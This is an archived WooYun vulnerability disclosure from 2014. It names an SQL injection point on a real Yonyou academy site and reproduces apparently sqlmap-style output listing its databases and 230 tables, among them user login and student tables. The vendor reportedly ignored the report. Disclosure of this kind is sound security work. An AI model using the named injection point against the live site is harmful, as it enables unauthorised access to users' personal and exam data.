乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-07-22： 细节已通知厂商并且等待厂商处理中 2014-07-27： 厂商已经主动忽略漏洞，细节向公众公开
RT.
站点：http://academy.yonyou.com
注入点：http://academy.yonyou.com/ViewCourseMap.aspx?infoid=15
available databases [9]:[*] master[*] model[*] msdb[*] tempdb[*] Timber_Exam_Gov[*] Timber_Exam_YL[*] Timber_Live[*] Timber_PX_New_YY[*] Timber_Tianming
Database: Timber_Exam_Gov[230 tables]+---------------------------------+| AGENCY_INFO || APPLY_ALLOCATION_INFO || APPLY_CALLBACK_INFO || APPLY_CONSULT_INFO || APPLY_EDU_INFO || APPLY_LINK_CONSULT_CALLBACK || APPLY_LINK_CONSULT_DEP || APPLY_LINK_CONSULT_TYPE || APPLY_PASSPORT_INFO || APPLY_STU_INFO || CLICK_CLASS_INFO || CLICK_CW_INFO || CLICK_NEWS_INFO || CLICK_RATE_INFO || COURSE_QA_ASK_INFO || COURSE_QA_REPLY_INFO || CREDIT_ALLOT_INFO || CW_INFO || EXAM_CARD_INFO || EXAM_CATEGORY_INFO || EXAM_D_Q_KNOWLEDGE_TYPE_INFO || EXAM_D_Q_MODULE_INFO || EXAM_D_Q_STATE_INFO || EXAM_D_Q_TYPE_INFO || EXAM_LINK_P_Q || EXAM_LINK_P_Q_RANDOM || EXAM_LINK_P_T || EXAM_PAPER_INFO || EXAM_PLAN_DEP || EXAM_PLAN_INFO || EXAM_PLAN_POSITION || EXAM_PLAN_TCH || EXAM_PLAN_USER || EXAM_P_TYPE_INFO || EXAM_P_WAY_INFO || EXAM_QUESTION_EXTEND_INFO || EXAM_QUESTION_INFO || EXAM_RESULT_INFO || EXAM_RESULT_ROLE || EXAM_RESULT_ROLE_SUB || EXAM_TYPE_INFO || GOV_GOODS_INFO || GOV_GOODS_TYPE || GOV_HELP_INFO || GOV_HELP_TYPE_INFO || GOV_NEW_INFO || GOV_NEW_TYPE_INFO || GOV_NOTICE_INFO || GOV_NOTICE_TYPE || GOV_REGULATIONS_INFO || GOV_REGULATIONS_TYPE || GOV_WORK_INFO || MESSAGE_DRAFT_INFO || MESSAGE_INBOX_INFO || MESSAGE_NOTEBOOK_INFO || MESSAGE_NOTEBOOK_TYPE_INFO || MESSAGE_OUTBOX_INFO || NEW_INFO || NEW_TYPE_INFO || PORTALS_LINKS_INFO || PROMOTION_CODE_INFO || PX_ADMIN_COURSE || PX_ASK_COURSE || PX_ASK_FACE_COURSE || PX_CASE_INFO || PX_COURSEWARE_INFO || PX_COURSE_ASSESS_INFO || PX_COURSE_INFO || PX_COURSE_TYPE_INFO || PX_DOC_INFO || PX_EVALUATE_INFO || PX_FACE_COURSE_ASSESS_INFO || PX_FACE_COURSE_INFO || PX_LINK_CASE_PXTYPE || PX_LINK_COURSE_CASE || PX_LINK_COURSE_CW || PX_LINK_COURSE_DEP || PX_LINK_COURSE_DOC || PX_LINK_COURSE_NEWS || PX_LINK_COURSE_PLAN || PX_LINK_COURSE_POSITION || PX_LINK_COURSE_TCH || PX_LINK_COURSE_TYPE_DEP || PX_LINK_COURSE_USER || PX_LINK_CREDIT_INFO || PX_LINK_CW_PXTYPE || PX_LINK_DOC_PXTYPE || PX_LINK_FACE_COURSE_DEP || PX_LINK_FACE_COURSE_POSITION || PX_LINK_FACE_COURSE_USER || PX_LINK_NEWS_PXTYPE || PX_LINK_TCH_PXTYPE || PX_NEWS_INFO || PX_NOTE_INFO || PX_RECORD_USER_CASE_INFO || PX_RECORD_USER_CW_INFO || PX_RECORD_USER_DOC_INFO || PX_RECORD_USER_NEWS_INFO || PX_STUDENT_EXPRESSION_INFO || PX_STUDENT_EXPRESSION_TYPE_INFO || PX_TCH_INFO || PX_WORKS_INFO || Px_Info_Uploading_Info || QA_ASK_INFO || QA_ASK_TYPE || QA_REPLY_INFO || STUDENT_BASE_INFO || STUDENT_MAGOR_INFO || STUDENT_STU_INFO || SYSTEM_ICON_INFO || SYSTEM_LIMIT_INFO || SYSTEM_LINK_USER_ROLE || SYSTEM_MODULE_INFO || SYSTEM_ROLE_INFO || SYSTEM_ROLE_LIMIT || SYS_SEQUENCE || USER_BASE_INFO || USER_CREDIT_INFO || USER_DEP_INFO || USER_LOGIN_INFO || USER_ONLINE_INFO || USER_PARTNERS_INFO || USER_PARTNERS_SCHEDULE || USER_POSITION_INFO || USER_SERVICE_INFO || USER_STU_INFO || VOTE_BASE_INFO || VOTE_SUB_INFO || VOTE_TYPE_INFO || VOTE_USER_RECORD || V_APPLY_ALLOCATION_INFO || V_APPLY_CALLBACK_INFO || V_APPLY_CONSULT_INFO || V_APPLY_CONSULT_TYPE_INFO || V_APPLY_EDU_INFO || V_APPLY_LINK_CONSULT_CALLBACK || V_APPLY_PASSPORT_INFO || V_APPLY_STU_INFO || V_APPLY_STU_PARTICULAR || V_ASK_INFO || V_COUNT_1_INFO || V_COUNT_2_INFO || V_COUNT_3_INFO || V_COUNT_4_INFO || V_COURSE_APPLE || V_COURSE_CASE || V_COURSE_CREDIT_INFO || V_COURSE_CW || V_COURSE_DOC || V_COURSE_LINK_EPLAN_PLAN || V_COURSE_NEWS || V_COURSE_PLAN || V_COURSE_TCH || V_EVALUATE_USER || V_EXAM_LINK_P_T || V_EXAM_LINK_P_T_RANDOM || V_EXAM_MONITOR || V_EXAM_PAPER || V_EXAM_PAPER_CUSTOM || V_EXAM_PAPER_RANDOM || V_EXAM_PLAN_DEP || V_EXAM_PLAN_INFO || V_EXAM_PLAN_POSITION || V_EXAM_PLAN_TCH || V_EXAM_PLAN_USER || V_EXAM_QUEST_ERROR || V_GET_E_P_Q_CUSTOM || V_GET_E_P_Q_RANDOM || V_GOV_COURSE || V_GOV_EXAM_PLAN_INFO || V_GOV_FACE_COURSE || V_GOV_FACE_COURSE_ASSESS || V_GOV_GOODS_INFO || V_GOV_HELP_INFO || V_GOV_HELP_TYPE_INFO || V_GOV_NEW_INFO || V_GOV_NEW_TYPE_INFO || V_GOV_NOTICE_INFO || V_GOV_NOTICE_TYPE_INFO || V_GOV_REGULATIONS_INFO || V_LABOR_PLAN || V_L_PLAN_USER || V_MESSAGE_INBOX_INFO || V_NEW_INFO || V_NOTEBOOK_INFO || V_PAPER_INFO || V_PAPER_TYPE_QUESTION || V_PLAN_CARD || V_PLAN_MONITOR || V_PROMOTION_CODE_INFO || V_PX_COURSEWARE_INFO || V_PX_UPLOAD_INFO || V_QA_RIPLY_INFO || V_QUESTION_BASE_INFO || V_QUESTION_EXPORT_INFO || V_QUESTION_EXTEND_INFO || V_QUESTION_FULL_INFO || V_QUESTION_TYPE || V_REPORT_DEP_USER || V_REPORT_EXAM_PLAN_INFO || V_REPORT_EXAM_PLAN_USER || V_REPORT_EXAM_PLAN_USER_T || V_REPORT_KNOWLEDGE_QUESTION || V_REPORT_KNOWLEDGE_USING || V_REPORT_PLAN_DEP || V_REPORT_PLAN_DEP_INFO || V_REPORT_POSITION_USER || V_REPORT_TYPE_QUESTION || V_RESULT_CARD || V_STUDENT_STU_INFO || V_SYSTEM_LIMIT_INFO || V_SYSTEM_MODULE_INFO || V_TCH_STU_INFO || V_USER_BASE_INFO || V_USER_DEP_INFO || V_USER_EVALUATE_COURSE || V_USER_EXAM_PLAN_INFO || V_USER_EXAM_PLAN_INFO_JOIN || V_USER_EXAM_UNJOIN || V_USER_FULL_INFO || V_USER_ROLE_URL || V_USER_TEST_PLAN_INFO || V_USER_USAGERECORD_CASE || V_USER_USAGERECORD_CW || V_USER_USAGERECORD_DOC || V_USER_USAGERECORD_NEWS || V_USER_WORKS_INFO || V_VOTE_BASE_INFO || V_VOTE_USER_RECORD || dtproperties |+---------------------------------+
如上.
危害等级：无影响厂商忽略
忽略时间：2014-07-27 11:08
暂无
